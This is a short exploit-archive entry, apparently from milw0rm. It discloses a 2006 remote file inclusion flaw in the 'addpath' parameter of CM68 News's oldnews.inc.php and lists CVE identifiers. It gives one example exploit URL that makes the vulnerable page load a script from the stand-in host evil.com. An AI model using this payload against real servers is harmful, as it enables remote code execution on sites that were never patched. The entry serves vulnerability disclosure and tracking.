CM68 News 12.02.06 - 'addpth' Remote File Inclusion
| EKU-ID: 10883 | CVE: OSVDB-32142;CVE-2006-6544;OSVDB-32141;CVE-2006-6462 | OSVDB-ID: |
| Author: Paul Bakoyiannis | Published: 2006-12-08 | Verified:
 |
| Download: | ||
Rating☆☆☆☆☆ |
| EKU-ID: 10883 | CVE: OSVDB-32142;CVE-2006-6544;OSVDB-32141;CVE-2006-6462 | OSVDB-ID: |
| Author: Paul Bakoyiannis | Published: 2006-12-08 | Verified:
|
| Download: | ||
Rating☆☆☆☆☆ |
Vulnerable Software:cm68news Vulnerable file: /engine/oldnews.inc.php Credits: Paul Bakoyiannis Vulnerable Variable: addpath Example Exploit: http://site.com/cm68news/engine/oldnews.inc.php?addpath=http://evil.com/script.txt?& # milw0rm.com [2006-12-08]